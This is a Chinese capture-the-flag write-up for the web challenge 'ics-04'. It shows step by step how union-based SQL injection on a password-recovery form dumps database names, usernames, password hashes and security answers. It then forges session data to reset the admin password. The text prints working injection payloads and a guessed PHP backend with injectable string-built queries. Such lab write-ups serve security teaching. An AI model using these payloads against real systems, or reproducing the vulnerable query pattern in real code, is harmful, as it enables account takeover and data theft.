攻防世界-web：ics-04

题目描述

工控云管理系统新添加的登录和注册页面存在漏洞，请找出flag。

题目截图

解题过程

（1）跟具题目描述，可以确定解题焦点应该放在登录界面跟注册界面
我们先尝试注册一个用户

用户名：user1
密码：1
密保问题：1
密保答案：1

然后登录

返回了普通用户没有什么用
所以我们必须以管理员用户登录才能获取flag

可以看到这个登录页面存在密码找回功能

经过测试，发现这个页面存在SQL注入漏洞
当在用户名框内输入1'OR(1)OR'时，页面发生了变化，成功绕过用户名检查。

后面就是SQL注入常规操作。
我尝试order by 操作，发现成功不了，可能是后台过滤了什么。
于是直接尝试union select 操作。
当测试到SQL:1' union select 1,2,3,4#时，发现页面显示正常。

密保问题处显示3，表示3的位置为显示位。接下来就顺理成章了。

查数据库名

SQL:1' union select 1,2,database(),4#
发现无法得到数据库名，可能后台过滤了。
SQL:1' union select 1,2,group_concat(schema_name),4 from information_schema.schemata#

得到数据库名：cetc004

查表名

SQL:1' union select 1,2,group_concat(table_name),4 from information_schema.tables where table_schema = 'cetc004'#

得到数据表：user

查列名

SQL:1' union select 1,2,group_concat(column_name),4 from information_schema.columns where table_name = 'user'#

得到列名：username,password,question,answer,Host,User,Password,Select_priv,Insert_priv,Update_priv,Delete_priv,Create_priv,Drop_priv,Reload_priv,Shutdown_priv,Process_priv,File_priv,Grant_priv,References_priv,Index_priv,Alter_priv,Show_db_priv,Super_priv,Create_tmp_table_priv,Lock_tables_priv,Execute_priv,Repl_slave_priv,Repl_client_priv,Create_view
列名好多，可是有用的就前面几个：username,password,question,answer

查用户

SQL:1' union select 1,2,group_concat(username),4 from cetc004.user#
(注意：直接拼接user表查询不出数据)

用户名：c3tlwDmIn23,user,user1

查密码

SQL:1' union select 1,2,group_concat(password),4 from cetc004.user#

密码：2f8667f381ff50ced6a3edc259260ba9,c4ca4238a0b923820dcc509a6f75849b,c4ca4238a0b923820dcc509a6f75849b

查问题

SQL:1' union select 1,2,group_concat(question),4 from cetc004.user#

问题：cetc,1,1

查答案

SQL:1' union select 1,2,group_concat(answer),4 from cetc004.user#

答案：cdwcewf2e3235y7687jnhbvdfcqsx12324r45y687o98kynbgfvds,1,1

改密码

用户名：c3tlwDmIn23
问题：cetc
答案：cdwcewf2e3235y7687jnhbvdfcqsx12324r45y687o98kynbgfvds
原始密码：不知道（数据库里查询的是MD5值，不是原始密码，利用在线md5爆破没结果。）

题目做到这里，感觉应该要结束了，但是不知道如何继续了。
这个时候我们看看更改密码的请求包

发现没有用户名，只有答案跟密码，那后台怎么判别是要修改哪个用户的密码呢？经过分析，可以发现每次查询用户成功后，就会返回一个PHPSESSID，这个PHPSESSID就是用户验证成功后在服务器存储一些信息的，一般是用户凭证信息，例如用户ID，用户密码等。
例如下面的php代码，就是一般登录后在服务器端通过session把数据存储下来。

function login($username,$password)
{
	....sql查询
	if(登录成功)
	{
		session_start();
		$_SESSION['username']=$username;
		$_SESSION['password']=$password;
	}
}

而这道题后台大概的修改密码的php代码可以为猜测如下：

function check_user($username)
{
	$sql = "select * from user where username = '$username'";
	$row = db_query($sql);
	if(count($row)>0)
	{
		session_start();
		$_SESSION['islogin'] = true;
		$_SESSION['username']=$row[0]['username'];
		$_SESSION['password']=$row[0]['password'];
		$_SESSION['question']=$row[0]['question'];
		$_SESSION['answer']  =$row[0]['answer'];
		return true;
	}
	else
	{
		return false;
	}
}

function update_password($answer,$password)
{
	session_start();
	if($_SESSION['islogin'])
	{
		if($_SESSION['answer']===$answer&&$_SESSION['password']===md5($password))
		{
			session_start();
			$_SESSION['auth'] = true;
			return true;
		}
		else
		{
			return false;
		}
	}
	return false;
}

function change_password($password)
{
	session_start();
	if($_SESSION['auth']&&$_SESSION['islogin'])
	{
		$password = md5($password);
		$sql = "update user set password='$password' where username='$_SESSION['username']'";
		db_query($sql);
		return true;
	}
	return false;
}

可以看出，我们只要人为的查询出我们知道信息，然后把这些信息存储在session里，参与后续的判断，就可以实现其他用户密码的修改。
SQL：1' union select 'c3tlwDmIn23','202cb962ac59075b964b07152d234b70','1','2'#
其中202cb962ac59075b964b07152d234b70是 123 md5加密后的值。

成功进入修改密码界面。
我们输入新密码，修改成功。

尝试登录

得到flag